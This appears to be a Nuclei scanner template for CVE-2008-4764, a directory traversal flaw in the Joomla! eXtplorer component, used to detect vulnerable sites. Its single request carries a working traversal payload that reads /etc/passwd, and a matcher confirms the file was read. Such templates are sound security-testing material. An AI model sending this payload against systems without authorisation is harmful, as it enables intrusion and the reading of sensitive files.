id: CVE-2008-4764 info: name: Joomla! Component com_extplorer 2.0.0 RC2 - Directory Traversal author: daffainfo severity: high description: Directory traversal vulnerability in the eXtplorer module (com_extplorer) 2.0.0 RC2 and earlier in Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the dir parameter in a show_error action. reference: - https://www.exploit-db.com/exploits/5435 - https://www.cvedetails.com/cve/CVE-2008-4764 tags: cve,cve2008,joomla,lfi requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc%2Fpasswd" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0" - type: status status: - 200